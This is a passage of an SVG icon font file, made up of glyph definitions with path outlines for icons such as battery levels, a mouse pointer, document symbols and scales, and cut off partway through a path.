d="M1472 1408q26 0 45 -19t19 -45v-416q0 -14 -9 -23t-23 -9h-64q-14 0 -23 9t-9 23v262l-213 -214l140 -140q9 -10 9 -23t-9 -22l-46 -46q-9 -9 -22 -9t-23 9l-140 141l-78 -79q126 -156 126 -359q0 -117 -45.5 -223.5t-123 -184t-184 -123t-223.5 -45.5t-223.5 45.5
t-184 123t-123 184t-45.5 223.5t45.5 223.5t123 184t184 123t223.5 45.5q203 0 359 -126l78 78l-172 172q-9 10 -9 23t9 22l46 46q9 9 22 9t23 -9l172 -172l213 213h-261q-14 0 -23 9t-9 23v64q0 14 9 23t23 9h416zM576 0q185 0 316.5 131.5t131.5 316.5t-131.5 316.5
t-316.5 131.5t-316.5 -131.5t-131.5 -316.5t131.5 -316.5t316.5 -131.5z" />
    <glyph glyph-name="_519" unicode="&#xf22a;" horiz-adv-x="1280" 
d="M640 892q217 -24 364.5 -187.5t147.5 -384.5q0 -167 -87 -306t-236 -212t-319 -54q-133 15 -245.5 88t-182 188t-80.5 249q-12 155 52.5 292t186 224t271.5 103v132h-160q-14 0 -23 9t-9 23v64q0 14 9 23t23 9h160v165l-92 -92q-10 -9 -23 -9t-22 9l-46 46q-9 9 -9 22
t9 23l202 201q19 19 45 19t45 -19l202 -201q9 -10 9 -23t-9 -22l-46 -46q-9 -9 -22 -9t-23 9l-92 92v-165h160q14 0 23 -9t9 -23v-64q0 -14 -9 -23t-23 -9h-160v-132zM576 -128q185 0 316.5 131.5t131.5 316.5t-131.5 316.5t-316.5 131.5t-316.5 -131.5t-131.5 -316.5
t131.5 -316.5t316.5 -131.5z" />
    <glyph glyph-name="_520" unicode="&#xf22b;" horiz-adv-x="2048" 
d="M1901 621q19 -19 19 -45t-19 -45l-294 -294q-9 -10 -22.5 -10t-22.5 10l-45 45q-10 9 -10 22.5t10 22.5l185 185h-294v-224q0 -14 -9 -23t-23 -9h-64q-14 0 -23 9t-9 23v224h-132q-24 -217 -187.5 -364.5t-384.5 -147.5q-167 0 -306 87t-212 236t-54 319q15 133 88 245.5
t188 182t249 80.5q155 12 292 -52.5t224 -186t103 -271.5h132v224q0 14 9 23t23 9h64q14 0 23 -9t9 -23v-224h294l-185 185q-10 9 -10 22.5t10 22.5l45 45q9 10 22.5 10t22.5 -10zM576 128q185 0 316.5 131.5t131.5 316.5t-131.5 316.5t-316.5 131.5t-316.5 -131.5
t-131.5 -316.5t131.5 -316.5t316.5 -131.5z" />
    <glyph glyph-name="_521" unicode="&#xf22c;" horiz-adv-x="1280" 
d="M1152 960q0 -221 -147.5 -384.5t-364.5 -187.5v-612q0 -14 -9 -23t-23 -9h-64q-14 0 -23 9t-9 23v612q-217 24 -364.5 187.5t-147.5 384.5q0 117 45.5 223.5t123 184t184 123t223.5 45.5t223.5 -45.5t184 -123t123 -184t45.5 -223.5zM576 512q185 0 316.5 131.5
t131.5 316.5t-131.5 316.5t-316.5 131.5t-316.5 -131.5t-131.5 -316.5t131.5 -316.5t316.5 -131.5z" />
    <glyph glyph-name="_522" unicode="&#xf22d;" horiz-adv-x="1280" 
d="M1024 576q0 185 -131.5 316.5t-316.5 131.5t-316.5 -131.5t-131.5 -316.5t131.5 -316.5t316.5 -131.5t316.5 131.5t131.5 316.5zM1152 576q0 -117 -45.5 -223.5t-123 -184t-184 -123t-223.5 -45.5t-223.5 45.5t-184 123t-123 184t-45.5 223.5t45.5 223.5t123 184t184 123
t223.5 45.5t223.5 -45.5t184 -123t123 -184t45.5 -223.5z" />
    <glyph glyph-name="_523" unicode="&#xf22e;" horiz-adv-x="1792" 
 />
    <glyph glyph-name="_524" unicode="&#xf22f;" horiz-adv-x="1792" 
 />
    <glyph glyph-name="_525" unicode="&#xf230;" 
d="M1451 1408q35 0 60 -25t25 -60v-1366q0 -35 -25 -60t-60 -25h-391v595h199l30 232h-229v148q0 56 23.5 84t91.5 28l122 1v207q-63 9 -178 9q-136 0 -217.5 -80t-81.5 -226v-171h-200v-232h200v-595h-735q-35 0 -60 25t-25 60v1366q0 35 25 60t60 25h1366z" />
    <glyph glyph-name="_526" unicode="&#xf231;" horiz-adv-x="1280" 
d="M0 939q0 108 37.5 203.5t103.5 166.5t152 123t185 78t202 26q158 0 294 -66.5t221 -193.5t85 -287q0 -96 -19 -188t-60 -177t-100 -149.5t-145 -103t-189 -38.5q-68 0 -135 32t-96 88q-10 -39 -28 -112.5t-23.5 -95t-20.5 -71t-26 -71t-32 -62.5t-46 -77.5t-62 -86.5
l-14 -5l-9 10q-15 157 -15 188q0 92 21.5 206.5t66.5 287.5t52 203q-32 65 -32 169q0 83 52 156t132 73q61 0 95 -40.5t34 -102.5q0 -66 -44 -191t-44 -187q0 -63 45 -104.5t109 -41.5q55 0 102 25t78.5 68t56 95t38 110.5t20 111t6.5 99.5q0 173 -109.5 269.5t-285.5 96.5
q-200 0 -334 -129.5t-134 -328.5q0 -44 12.5 -85t27 -65t27 -45.5t12.5 -30.5q0 -28 -15 -73t-37 -45q-2 0 -17 3q-51 15 -90.5 56t-61 94.5t-32.5 108t-11 106.5z" />
    <glyph glyph-name="_527" unicode="&#xf232;" 
d="M985 562q13 0 97.5 -44t89.5 -53q2 -5 2 -15q0 -33 -17 -76q-16 -39 -71 -65.5t-102 -26.5q-57 0 -190 62q-98 45 -170 118t-148 185q-72 107 -71 194v8q3 91 74 158q24 22 52 22q6 0 18 -1.5t19 -1.5q19 0 26.5 -6.5t15.5 -27.5q8 -20 33 -88t25 -75q0 -21 -34.5 -57.5
t-34.5 -46.5q0 -7 5 -15q34 -73 102 -137q56 -53 151 -101q12 -7 22 -7q15 0 54 48.5t52 48.5zM782 32q127 0 243.5 50t200.5 134t134 200.5t50 243.5t-50 243.5t-134 200.5t-200.5 134t-243.5 50t-243.5 -50t-200.5 -134t-134 -200.5t-50 -243.5q0 -203 120 -368l-79 -233
l242 77q158 -104 345 -104zM782 1414q153 0 292.5 -60t240.5 -161t161 -240.5t60 -292.5t-60 -292.5t-161 -240.5t-240.5 -161t-292.5 -60q-195 0 -365 94l-417 -134l136 405q-108 178 -108 389q0 153 60 292.5t161 240.5t240.5 161t292.5 60z" />
    <glyph glyph-name="_528" unicode="&#xf233;" horiz-adv-x="1792" 
d="M128 128h1024v128h-1024v-128zM128 640h1024v128h-1024v-128zM1696 192q0 40 -28 68t-68 28t-68 -28t-28 -68t28 -68t68 -28t68 28t28 68zM128 1152h1024v128h-1024v-128zM1696 704q0 40 -28 68t-68 28t-68 -28t-28 -68t28 -68t68 -28t68 28t28 68zM1696 1216
q0 40 -28 68t-68 28t-68 -28t-28 -68t28 -68t68 -28t68 28t28 68zM1792 384v-384h-1792v384h1792zM1792 896v-384h-1792v384h1792zM1792 1408v-384h-1792v384h1792z" />
    <glyph glyph-name="_529" unicode="&#xf234;" horiz-adv-x="2048" 
d="M704 640q-159 0 -271.5 112.5t-112.5 271.5t112.5 271.5t271.5 112.5t271.5 -112.5t112.5 -271.5t-112.5 -271.5t-271.5 -112.5zM1664 512h352q13 0 22.5 -9.5t9.5 -22.5v-192q0 -13 -9.5 -22.5t-22.5 -9.5h-352v-352q0 -13 -9.5 -22.5t-22.5 -9.5h-192q-13 0 -22.5 9.5
t-9.5 22.5v352h-352q-13 0 -22.5 9.5t-9.5 22.5v192q0 13 9.5 22.5t22.5 9.5h352v352q0 13 9.5 22.5t22.5 9.5h192q13 0 22.5 -9.5t9.5 -22.5v-352zM928 288q0 -52 38 -90t90 -38h256v-238q-68 -50 -171 -50h-874q-121 0 -194 69t-73 190q0 53 3.5 103.5t14 109t26.5 108.5
t43 97.5t62 81t85.5 53.5t111.5 20q19 0 39 -17q79 -61 154.5 -91.5t164.5 -30.5t164.5 30.5t154.5 91.5q20 17 39 17q132 0 217 -96h-223q-52 0 -90 -38t-38 -90v-192z" />
    <glyph glyph-name="_530" unicode="&#xf235;" horiz-adv-x="2048" 
d="M704 640q-159 0 -271.5 112.5t-112.5 271.5t112.5 271.5t271.5 112.5t271.5 -112.5t112.5 -271.5t-112.5 -271.5t-271.5 -112.5zM1781 320l249 -249q9 -9 9 -23q0 -13 -9 -22l-136 -136q-9 -9 -22 -9q-14 0 -23 9l-249 249l-249 -249q-9 -9 -23 -9q-13 0 -22 9l-136 136
q-9 9 -9 22q0 14 9 23l249 249l-249 249q-9 9 -9 23q0 13 9 22l136 136q9 9 22 9q14 0 23 -9l249 -249l249 249q9 9 23 9q13 0 22 -9l136 -136q9 -9 9 -22q0 -14 -9 -23zM1283 320l-181 -181q-37 -37 -37 -91q0 -53 37 -90l83 -83q-21 -3 -44 -3h-874q-121 0 -194 69
t-73 190q0 53 3.5 103.5t14 109t26.5 108.5t43 97.5t62 81t85.5 53.5t111.5 20q19 0 39 -17q154 -122 319 -122t319 122q20 17 39 17q28 0 57 -6q-28 -27 -41 -50t-13 -56q0 -54 37 -91z" />
    <glyph glyph-name="_531" unicode="&#xf236;" horiz-adv-x="2048" 
d="M256 512h1728q26 0 45 -19t19 -45v-448h-256v256h-1536v-256h-256v1216q0 26 19 45t45 19h128q26 0 45 -19t19 -45v-704zM832 832q0 106 -75 181t-181 75t-181 -75t-75 -181t75 -181t181 -75t181 75t75 181zM2048 576v64q0 159 -112.5 271.5t-271.5 112.5h-704
q-26 0 -45 -19t-19 -45v-384h1152z" />
    <glyph glyph-name="_532" unicode="&#xf237;" 
d="M1536 1536l-192 -448h192v-192h-274l-55 -128h329v-192h-411l-357 -832l-357 832h-411v192h329l-55 128h-274v192h192l-192 448h256l323 -768h378l323 768h256zM768 320l108 256h-216z" />
    <glyph glyph-name="_533" unicode="&#xf238;" 
d="M1088 1536q185 0 316.5 -93.5t131.5 -226.5v-896q0 -130 -125.5 -222t-305.5 -97l213 -202q16 -15 8 -35t-30 -20h-1056q-22 0 -30 20t8 35l213 202q-180 5 -305.5 97t-125.5 222v896q0 133 131.5 226.5t316.5 93.5h640zM768 192q80 0 136 56t56 136t-56 136t-136 56
t-136 -56t-56 -136t56 -136t136 -56zM1344 768v512h-1152v-512h1152z" />
    <glyph glyph-name="_534" unicode="&#xf239;" 
d="M1088 1536q185 0 316.5 -93.5t131.5 -226.5v-896q0 -130 -125.5 -222t-305.5 -97l213 -202q16 -15 8 -35t-30 -20h-1056q-22 0 -30 20t8 35l213 202q-180 5 -305.5 97t-125.5 222v896q0 133 131.5 226.5t316.5 93.5h640zM288 224q66 0 113 47t47 113t-47 113t-113 47
t-113 -47t-47 -113t47 -113t113 -47zM704 768v512h-544v-512h544zM1248 224q66 0 113 47t47 113t-47 113t-113 47t-113 -47t-47 -113t47 -113t113 -47zM1408 768v512h-576v-512h576z" />
    <glyph glyph-name="_535" unicode="&#xf23a;" horiz-adv-x="1792" 
d="M597 1115v-1173q0 -25 -12.5 -42.5t-36.5 -17.5q-17 0 -33 8l-465 233q-21 10 -35.5 33.5t-14.5 46.5v1140q0 20 10 34t29 14q14 0 44 -15l511 -256q3 -3 3 -5zM661 1014l534 -866l-534 266v600zM1792 996v-1054q0 -25 -14 -40.5t-38 -15.5t-47 13l-441 220zM1789 1116
q0 -3 -256.5 -419.5t-300.5 -487.5l-390 634l324 527q17 28 52 28q14 0 26 -6l541 -270q4 -2 4 -6z" />
    <glyph glyph-name="_536" unicode="&#xf23b;" 
d="M809 532l266 499h-112l-157 -312q-24 -48 -44 -92l-42 92l-155 312h-120l263 -493v-324h101v318zM1536 1408v-1536h-1536v1536h1536z" />
    <glyph glyph-name="_537" unicode="&#xf23c;" horiz-adv-x="2296" 
d="M478 -139q-8 -16 -27 -34.5t-37 -25.5q-25 -9 -51.5 3.5t-28.5 31.5q-1 22 40 55t68 38q23 4 34 -21.5t2 -46.5zM1819 -139q7 -16 26 -34.5t38 -25.5q25 -9 51.5 3.5t27.5 31.5q2 22 -39.5 55t-68.5 38q-22 4 -33 -21.5t-2 -46.5zM1867 -30q13 -27 56.5 -59.5t77.5 -41.5
q45 -13 82 4.5t37 50.5q0 46 -67.5 100.5t-115.5 59.5q-40 5 -63.5 -37.5t-6.5 -76.5zM428 -30q-13 -27 -56 -59.5t-77 -41.5q-45 -13 -82 4.5t-37 50.5q0 46 67.5 100.5t115.5 59.5q40 5 63 -37.5t6 -76.5zM1158 1094h1q-41 0 -76 -15q27 -8 44 -30.5t17 -49.5
q0 -35 -27 -60t-65 -25q-52 0 -80 43q-5 -23 -5 -42q0 -74 56 -126.5t135 -52.5q80 0 136 52.5t56 126.5t-56 126.5t-136 52.5zM1462 1312q-99 109 -220.5 131.5t-245.5 -44.5q27 60 82.5 96.5t118 39.5t121.5 -17t99.5 -74.5t44.5 -131.5zM2212 73q8 -11 -11 -42
q7 -23 7 -40q1 -56 -44.5 -112.5t-109.5 -91.5t-118 -37q-48 -2 -92 21.5t-66 65.5q-687 -25 -1259 0q-23 -41 -66.5 -65t-92.5 -22q-86 3 -179.5 80.5t-92.5 160.5q2 22 7 40q-19 31 -11 42q6 10 31 1q14 22 41 51q-7 29 2 38q11 10 39 -4q29 20 59 34q0 29 13 37
q23 12 51 -16q35 5 61 -2q18 -4 38 -19v73q-11 0 -18 2q-53 10 -97 44.5t-55 87.5q-9 38 0 81q15 62 93 95q2 17 19 35.5t36 23.5t33 -7.5t19 -30.5h13q46 -5 60 -23q3 -3 5 -7q10 1 30.5 3.5t30.5 3.5q-15 11 -30 17q-23 40 -91 43q0 6 1 10q-62 2 -118.5 18.5t-84.5 47.5
q-32 36 -42.5 92t-2.5 112q16 126 90 179q23 16 52 4.5t32 -40.5q0 -1 1.5 -14t2.5 -21t3 -20t5.5 -19t8.5 -10q27 -14 76 -12q48 46 98 74q-40 4 -162 -14l47 46q61 58 163 111q145 73 282 86q-20 8 -41 15.5t-47 14t-42.5 10.5t-47.5 11t-43 10q595 126 904 -139
q98 -84 158 -222q85 -10 121 9h1q5 3 8.5 10t5.5 19t3 19.5t3 21.5l1 14q3 28 32 40t52 -5q73 -52 91 -178q7 -57 -3.5 -113t-42.5 -91q-28 -32 -83.5 -48.5t-115.5 -18.5v-10q-71 -2 -95 -43q-14 -5 -31 -17q11 -1 32 -3.5t30 -3.5q1 5 5 8q16 18 60 23h13q5 18 19 30t33 8
t36 -23t19 -36q79 -32 93 -95q9 -40 1 -81q-12 -53 -56 -88t-97 -44q-10 -2 -17 -2q0 -49 -1 -73q20 15 38 19q26 7 61 2q28 28 51 16q14 -9 14 -37q33 -16 59 -34q27 13 38 4q10 -10 2 -38q28 -30 41 -51q23 8 31 -1zM1937 1025q0 -29 -9 -54q82 -32 112 -132
q4 37 -9.5 98.5t-41.5 90.5q-20 19 -36 17t-16 -20zM1859 925q35 -42 47.5 -108.5t-0.5 -124.5q67 13 97 45q13 14 18 28q-3 64 -31 114.5t-79 66.5q-15 -15 -52 -21zM1822 921q-30 0 -44 1q42 -115 53 -239q21 0 43 3q16 68 1 135t-53 100zM258 839q30 100 112 132
q-9 25 -9 54q0 18 -16.5 20t-35.5 -17q-28 -29 -41.5 -90.5t-9.5 -98.5zM294 737q29 -31 97 -45q-13 58 -0.5 124.5t47.5 108.5v0q-37 6 -52 21q-51 -16 -78.5 -66t-31.5 -115q9 -17 18 -28zM471 683q14 124 73 235q-19 -4 -55 -18l-45 -19v1q-46 -89 -20 -196q25 -3 47 -3z
M1434 644q8 -38 16.5 -108.5t11.5 -89.5q3 -18 9.5 -21.5t23.5 4.5q40 20 62 85.5t23 125.5q-24 2 -146 4zM1152 1285q-116 0 -199 -82.5t-83 -198.5q0 -117 83 -199.5t199 -82.5t199 82.5t83 199.5q0 116 -83 198.5t-199 82.5zM1380 646q-105 2 -211 0v1q-1 -27 2.5 -86
t13.5 -66q29 -14 93.5 -14.5t95.5 10.5q9 3 11 39t-0.5 69.5t-4.5 46.5zM1112 447q8 4 9.5 48t-0.5 88t-4 63v1q-212 -3 -214 -3q-4 -20 -7 -62t0 -83t14 -46q34 -15 101 -16t101 10zM718 636q-16 -59 4.5 -118.5t77.5 -84.5q15 -8 24 -5t12 21q3 16 8 90t10 103
q-69 -2 -136 -6zM591 510q3 -23 -34 -36q132 -141 271.5 -240t305.5 -154q172 49 310.5 146t293.5 250q-33 13 -30 34q0 2 0.5 3.5t1.5 3t1 2.5v1v-1q-17 2 -50 5.5t-48 4.5q-26 -90 -82 -132q-51 -38 -82 1q-5 6 -9 14q-7 13 -17 62q-2 -5 -5 -9t-7.5 -7t-8 -5.5t-9.5 -4
l-10 -2.5t-12 -2l-12 -1.5t-13.5 -1t-13.5 -0.5q-106 -9 -163 11q-4 -17 -10 -26.5t-21 -15t-23 -7t-36 -3.5q-6 -1 -9 -1q-179 -17 -203 40q-2 -63 -56 -54q-47 8 -91 54q-12 13 -20 26q-17 29 -26 65q-58 -6 -87 -10q1 -2 4 -10zM507 -118q3 14 3 30q-17 71 -51 130
t-73 70q-41 12 -101.5 -14.5t-104.5 -80t-39 -107.5q35 -53 100 -93t119 -42q51 -2 94 28t53 79zM510 53q23 -63 27 -119q195 113 392 174q-98 52 -180.5 120t-179.5 165q-6 -4 -29 -13q0 -1 -1 -4t-1 -5q31 -18 22 -37q-12 -23 -56 -34q-10 -13 -29 -24h-1q-2 -83 1 -150
q19 -34 35 -73zM579 -113q532 -21 1145 0q-254 147 -428 196q-76 -35 -156 -57q-8 -3 -16 0q-65 21 -129 49q-208 -60 -416 -188h-1v-1q1 0 1 1zM1763 -67q4 54 28 120q14 38 33 71l-1 -1q3 77 3 153q-15 8 -30 25q-42 9 -56 33q-9 20 22 38q-2 4 -2 9q-16 4 -28 12
q-204 -190 -383 -284q198 -59 414 -176zM2155 -90q5 54 -39 107.5t-104 80t-102 14.5q-38 -11 -72.5 -70.5t-51.5 -129.5q0 -16 3 -30q10 -49 53 -79t94 -28q54 2 119 42t100 93z" />
    <glyph glyph-name="_538" unicode="&#xf23d;" horiz-adv-x="2304" 
d="M1524 -25q0 -68 -48 -116t-116 -48t-116.5 48t-48.5 116t48.5 116.5t116.5 48.5t116 -48.5t48 -116.5zM775 -25q0 -68 -48.5 -116t-116.5 -48t-116 48t-48 116t48 116.5t116 48.5t116.5 -48.5t48.5 -116.5zM0 1469q57 -60 110.5 -104.5t121 -82t136 -63t166 -45.5
t200 -31.5t250 -18.5t304 -9.5t372.5 -2.5q139 0 244.5 -5t181 -16.5t124 -27.5t71 -39.5t24 -51.5t-19.5 -64t-56.5 -76.5t-89.5 -91t-116 -104.5t-139 -119q-185 -157 -286 -247q29 51 76.5 109t94 105.5t94.5 98.5t83 91.5t54 80.5t13 70t-45.5 55.5t-116.5 41t-204 23.5
t-304 5q-168 -2 -314 6t-256 23t-204.5 41t-159.5 51.5t-122.5 62.5t-91.5 66.5t-68 71.5t-50.5 69.5t-40 68t-36.5 59.5z" />
    <glyph glyph-name="_539" unicode="&#xf23e;" horiz-adv-x="1792" 
d="M896 1472q-169 0 -323 -66t-265.5 -177.5t-177.5 -265.5t-66 -323t66 -323t177.5 -265.5t265.5 -177.5t323 -66t323 66t265.5 177.5t177.5 265.5t66 323t-66 323t-177.5 265.5t-265.5 177.5t-323 66zM896 1536q182 0 348 -71t286 -191t191 -286t71 -348t-71 -348
t-191 -286t-286 -191t-348 -71t-348 71t-286 191t-191 286t-71 348t71 348t191 286t286 191t348 71zM496 704q16 0 16 -16v-480q0 -16 -16 -16h-32q-16 0 -16 16v480q0 16 16 16h32zM896 640q53 0 90.5 -37.5t37.5 -90.5q0 -35 -17.5 -64t-46.5 -46v-114q0 -14 -9 -23
t-23 -9h-64q-14 0 -23 9t-9 23v114q-29 17 -46.5 46t-17.5 64q0 53 37.5 90.5t90.5 37.5zM896 1408q209 0 385.5 -103t279.5 -279.5t103 -385.5t-103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103t-279.5 279.5t-103 385.5t103 385.5t279.5 279.5t385.5 103zM544 928v-96
q0 -14 9 -23t23 -9h64q14 0 23 9t9 23v96q0 93 65.5 158.5t158.5 65.5t158.5 -65.5t65.5 -158.5v-96q0 -14 9 -23t23 -9h64q14 0 23 9t9 23v96q0 146 -103 249t-249 103t-249 -103t-103 -249zM1408 192v512q0 26 -19 45t-45 19h-896q-26 0 -45 -19t-19 -45v-512
q0 -26 19 -45t45 -19h896q26 0 45 19t19 45z" />
    <glyph glyph-name="_540" unicode="&#xf240;" horiz-adv-x="2304" 
d="M1920 1024v-768h-1664v768h1664zM2048 448h128v384h-128v288q0 14 -9 23t-23 9h-1856q-14 0 -23 -9t-9 -23v-960q0 -14 9 -23t23 -9h1856q14 0 23 9t9 23v288zM2304 832v-384q0 -53 -37.5 -90.5t-90.5 -37.5v-160q0 -66 -47 -113t-113 -47h-1856q-66 0 -113 47t-47 113
v960q0 66 47 113t113 47h1856q66 0 113 -47t47 -113v-160q53 0 90.5 -37.5t37.5 -90.5z" />
    <glyph glyph-name="_541" unicode="&#xf241;" horiz-adv-x="2304" 
d="M256 256v768h1280v-768h-1280zM2176 960q53 0 90.5 -37.5t37.5 -90.5v-384q0 -53 -37.5 -90.5t-90.5 -37.5v-160q0 -66 -47 -113t-113 -47h-1856q-66 0 -113 47t-47 113v960q0 66 47 113t113 47h1856q66 0 113 -47t47 -113v-160zM2176 448v384h-128v288q0 14 -9 23t-23 9
h-1856q-14 0 -23 -9t-9 -23v-960q0 -14 9 -23t23 -9h1856q14 0 23 9t9 23v288h128z" />
    <glyph glyph-name="_542" unicode="&#xf242;" horiz-adv-x="2304" 
d="M256 256v768h896v-768h-896zM2176 960q53 0 90.5 -37.5t37.5 -90.5v-384q0 -53 -37.5 -90.5t-90.5 -37.5v-160q0 -66 -47 -113t-113 -47h-1856q-66 0 -113 47t-47 113v960q0 66 47 113t113 47h1856q66 0 113 -47t47 -113v-160zM2176 448v384h-128v288q0 14 -9 23t-23 9
h-1856q-14 0 -23 -9t-9 -23v-960q0 -14 9 -23t23 -9h1856q14 0 23 9t9 23v288h128z" />
    <glyph glyph-name="_543" unicode="&#xf243;" horiz-adv-x="2304" 
d="M256 256v768h512v-768h-512zM2176 960q53 0 90.5 -37.5t37.5 -90.5v-384q0 -53 -37.5 -90.5t-90.5 -37.5v-160q0 -66 -47 -113t-113 -47h-1856q-66 0 -113 47t-47 113v960q0 66 47 113t113 47h1856q66 0 113 -47t47 -113v-160zM2176 448v384h-128v288q0 14 -9 23t-23 9
h-1856q-14 0 -23 -9t-9 -23v-960q0 -14 9 -23t23 -9h1856q14 0 23 9t9 23v288h128z" />
    <glyph glyph-name="_544" unicode="&#xf244;" horiz-adv-x="2304" 
d="M2176 960q53 0 90.5 -37.5t37.5 -90.5v-384q0 -53 -37.5 -90.5t-90.5 -37.5v-160q0 -66 -47 -113t-113 -47h-1856q-66 0 -113 47t-47 113v960q0 66 47 113t113 47h1856q66 0 113 -47t47 -113v-160zM2176 448v384h-128v288q0 14 -9 23t-23 9h-1856q-14 0 -23 -9t-9 -23
v-960q0 -14 9 -23t23 -9h1856q14 0 23 9t9 23v288h128z" />
    <glyph glyph-name="_545" unicode="&#xf245;" horiz-adv-x="1280" 
d="M1133 493q31 -30 14 -69q-17 -40 -59 -40h-382l201 -476q10 -25 0 -49t-34 -35l-177 -75q-25 -10 -49 0t-35 34l-191 452l-312 -312q-19 -19 -45 -19q-12 0 -24 5q-40 17 -40 59v1504q0 42 40 59q12 5 24 5q27 0 45 -19z" />
    <glyph glyph-name="_546" unicode="&#xf246;" horiz-adv-x="1024" 
d="M832 1408q-320 0 -320 -224v-416h128v-128h-128v-544q0 -224 320 -224h64v-128h-64q-272 0 -384 146q-112 -146 -384 -146h-64v128h64q320 0 320 224v544h-128v128h128v416q0 224 -320 224h-64v128h64q272 0 384 -146q112 146 384 146h64v-128h-64z" />
    <glyph glyph-name="_547" unicode="&#xf247;" horiz-adv-x="2048" 
d="M2048 1152h-128v-1024h128v-384h-384v128h-1280v-128h-384v384h128v1024h-128v384h384v-128h1280v128h384v-384zM1792 1408v-128h128v128h-128zM128 1408v-128h128v128h-128zM256 -128v128h-128v-128h128zM1664 0v128h128v1024h-128v128h-1280v-128h-128v-1024h128v-128
h1280zM1920 -128v128h-128v-128h128zM1280 896h384v-768h-896v256h-384v768h896v-256zM512 512h640v512h-640v-512zM1536 256v512h-256v-384h-384v-128h640z" />
    <glyph glyph-name="_548" unicode="&#xf248;" horiz-adv-x="2304" 
d="M2304 768h-128v-640h128v-384h-384v128h-896v-128h-384v384h128v128h-384v-128h-384v384h128v640h-128v384h384v-128h896v128h384v-384h-128v-128h384v128h384v-384zM2048 1024v-128h128v128h-128zM1408 1408v-128h128v128h-128zM128 1408v-128h128v128h-128zM256 256
v128h-128v-128h128zM1536 384h-128v-128h128v128zM384 384h896v128h128v640h-128v128h-896v-128h-128v-640h128v-128zM896 -128v128h-128v-128h128zM2176 -128v128h-128v-128h128zM2048 128v640h-128v128h-384v-384h128v-384h-384v128h-384v-128h128v-128h896v128h128z" />
    <glyph glyph-name="_549" unicode="&#xf249;" 
d="M1024 288v-416h-928q-40 0 -68 28t-28 68v1344q0 40 28 68t68 28h1344q40 0 68 -28t28 -68v-928h-416q-40 0 -68 -28t-28 -68zM1152 256h381q-15 -82 -65 -132l-184 -184q-50 -50 -132 -65v381z" />
    <glyph glyph-name="_550" unicode="&#xf24a;" 
d="M1400 256h-248v-248q29 10 41 22l185 185q12 12 22 41zM1120 384h288v896h-1280v-1280h896v288q0 40 28 68t68 28zM1536 1312v-1024q0 -40 -20 -88t-48 -76l-184 -184q-28 -28 -76 -48t-88 -20h-1024q-40 0 -68 28t-28 68v1344q0 40 28 68t68 28h1344q40 0 68 -28t28 -68
z" />
    <glyph glyph-name="_551" unicode="&#xf24b;" horiz-adv-x="2304" 
d="M1951 538q0 -26 -15.5 -44.5t-38.5 -23.5q-8 -2 -18 -2h-153v140h153q10 0 18 -2q23 -5 38.5 -23.5t15.5 -44.5zM1933 751q0 -25 -15 -42t-38 -21q-3 -1 -15 -1h-139v129h139q3 0 8.5 -0.5t6.5 -0.5q23 -4 38 -21.5t15 -42.5zM728 587v308h-228v-308q0 -58 -38 -94.5
t-105 -36.5q-108 0 -229 59v-112q53 -15 121 -23t109 -9l42 -1q328 0 328 217zM1442 403v113q-99 -52 -200 -59q-108 -8 -169 41t-61 142t61 142t169 41q101 -7 200 -58v112q-48 12 -100 19.5t-80 9.5l-28 2q-127 6 -218.5 -14t-140.5 -60t-71 -88t-22 -106t22 -106t71 -88
t140.5 -60t218.5 -14q101 4 208 31zM2176 518q0 54 -43 88.5t-109 39.5v3q57 8 89 41.5t32 79.5q0 55 -41 88t-107 36q-3 0 -12 0.5t-14 0.5h-455v-510h491q74 0 121.5 36.5t47.5 96.5zM2304 1280v-1280q0 -52 -38 -90t-90 -38h-2048q-52 0 -90 38t-38 90v1280q0 52 38 90
t90 38h2048q52 0 90 -38t38 -90z" />
    <glyph glyph-name="_552" unicode="&#xf24c;" horiz-adv-x="2304" 
d="M858 295v693q-106 -41 -172 -135.5t-66 -211.5t66 -211.5t172 -134.5zM1362 641q0 117 -66 211.5t-172 135.5v-694q106 41 172 135.5t66 211.5zM1577 641q0 -159 -78.5 -294t-213.5 -213.5t-294 -78.5q-119 0 -227.5 46.5t-187 125t-125 187t-46.5 227.5q0 159 78.5 294
t213.5 213.5t294 78.5t294 -78.5t213.5 -213.5t78.5 -294zM1960 634q0 139 -55.5 261.5t-147.5 205.5t-213.5 131t-252.5 48h-301q-176 0 -323.5 -81t-235 -230t-87.5 -335q0 -171 87 -317.5t236 -231.5t323 -85h301q129 0 251.5 50.5t214.5 135t147.5 202.5t55.5 246z
M2304 1280v-1280q0 -52 -38 -90t-90 -38h-2048q-52 0 -90 38t-38 90v1280q0 52 38 90t90 38h2048q52 0 90 -38t38 -90z" />
    <glyph glyph-name="_553" unicode="&#xf24d;" horiz-adv-x="1792" 
d="M1664 -96v1088q0 13 -9.5 22.5t-22.5 9.5h-1088q-13 0 -22.5 -9.5t-9.5 -22.5v-1088q0 -13 9.5 -22.5t22.5 -9.5h1088q13 0 22.5 9.5t9.5 22.5zM1792 992v-1088q0 -66 -47 -113t-113 -47h-1088q-66 0 -113 47t-47 113v1088q0 66 47 113t113 47h1088q66 0 113 -47t47 -113
zM1408 1376v-160h-128v160q0 13 -9.5 22.5t-22.5 9.5h-1088q-13 0 -22.5 -9.5t-9.5 -22.5v-1088q0 -13 9.5 -22.5t22.5 -9.5h160v-128h-160q-66 0 -113 47t-47 113v1088q0 66 47 113t113 47h1088q66 0 113 -47t47 -113z" />
    <glyph glyph-name="_554" unicode="&#xf24e;" horiz-adv-x="2304" 
d="M1728 1088l-384 -704h768zM448 1088l-384 -704h768zM1269 1280q-14 -40 -45.5 -71.5t-71.5 -45.5v-1291h608q14 0 23 -9t9 -23v-64q0 -14 -9 -23t-23 -9h-1344q-14 0 -23 9t-9 23v64q0 14 9 23t23 9h608v1291q-40 14 -71.5 45.5t-45.5 71.5h-491q-14 0 -23 9t-9 23v64
q0 14 9 23t23 9h491q21 57 70 92.5t111 35.5t111 -35.5t70 -92.5h491q14 0 23 -9t9 -23v-64q0 -14 -9 -23t-23 -9h-491zM1088 1264q33 0 56.5 23.5t23.5 56.5t-23.5 56.5t-56.5 23.5t-56.5 -23.5t-23.5 -56.5t23.5 -56.5t56.5 -23.5zM2176 384q0 -73 -46.5 -131t-117.5 -91
t-144.5 -49.5t-139.5 -16.5t-139.5 16.5t-144.5 49.5t-117.5 91t-46.5 131q0 11 35 81t92 174.5t107 195.5t102 184t56 100q18 33 56 33t56 -33q4 -7 56 -100t102 -184t107 -195.5t92 -174.5t35 -81zM896 384q0 -73 -46.5 -131t-117.5 -91t-144.5 -49.5t-139.5 -16.5
